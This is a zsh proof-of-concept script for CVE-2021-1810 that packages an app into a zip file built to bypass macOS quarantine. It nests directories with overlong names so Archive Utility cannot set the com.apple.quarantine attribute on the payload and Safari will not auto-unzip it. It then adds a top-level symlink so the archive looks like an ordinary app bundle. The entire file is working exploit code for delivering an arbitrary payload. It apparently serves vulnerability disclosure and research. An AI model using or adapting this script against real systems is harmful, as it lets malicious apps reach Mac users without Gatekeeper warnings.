#!/bin/zsh -e
# This script will create a zip file exploiting CVE-2021-1810 by creating a
# directory hierarchy deep enough for Archive Utility to fail setting
# quarantine attributes on certain files while also making some path names
# long enough to prevent Safari automating unzipping from unpacking the archive.
# Finally, the script will create a symbolic link at the top level, making the
# zip file appear like a normal app bundle zip file.
payload=FakeApp.app
createddir=""
pathlen=0
# create a .prefixed directory $len charactes, and increment global path length counter $pathlen
makelongdir() {
len=$1
tdir=.$(perl -e 'print "x"x'${len})
mkdir $tdir
cd $tdir
if [ "$createddir" ] ; then
createddir="$createddir/$tdir"
else
createddir="$tdir"
fi
pathlen=$(($pathlen + $len + 2)) # len+"."+"/"
}
if ! [ -x "$payload" ] ; then
echo "Need a payload (\"$payload\") in pwd to continue!"
exit 1
fi
payloaddir=$(pwd)
targetdir=$(pwd)
startdir=$(mktemp -d)
cd "$startdir"
# Make three directories of max length 255
for i in 1 2 3 ; do
makelongdir 254 # . prefix = length 255
done
# Signpost for debugging; this should be last actual file to have quarantine attribute
touch dummyfile
# ArchiveService will unzip the file contents into a path with length 153
# characters (including final "/") on Catalina, while on Big Sur
# ArchiveService uses a 138 character temp path.
# Any files or directories whose full path exceeds PATH_MAX will not get any
# com.apple.quarantine extended attribute.
# $pathlen contains amount of bytes in path so far; for the final directory
# we can calculate how many characters we need, taking the payload name into
# account.
payloadnamelength=$(echo -n $payload|wc -c)
echo payload name length: $payloadnamelength path length: $pathlen
remaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))
makelongdir $(($remaining))
# save the path we have so far for the symlink creation later
appdir="$createddir"
cp -r "${payloaddir}/$payload" .
# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file
# ...but should still be shorter than 1017 characters, for some reason.
remaining=$((1014 - $pathlen))
makelongdir $remaining
cd "${startdir}"
# Create the symbolic link that will make the app accessible to the user
ln -s ${appdir}/$payload
rm -f ${targetdir}/poc.zip
# Create the final zip file and reveal in Finder
zip -qyr ${targetdir}/poc.zip .
echo "PoC zip containing $payload available at $targetdir"
open -R ${targetdir}/poc.zip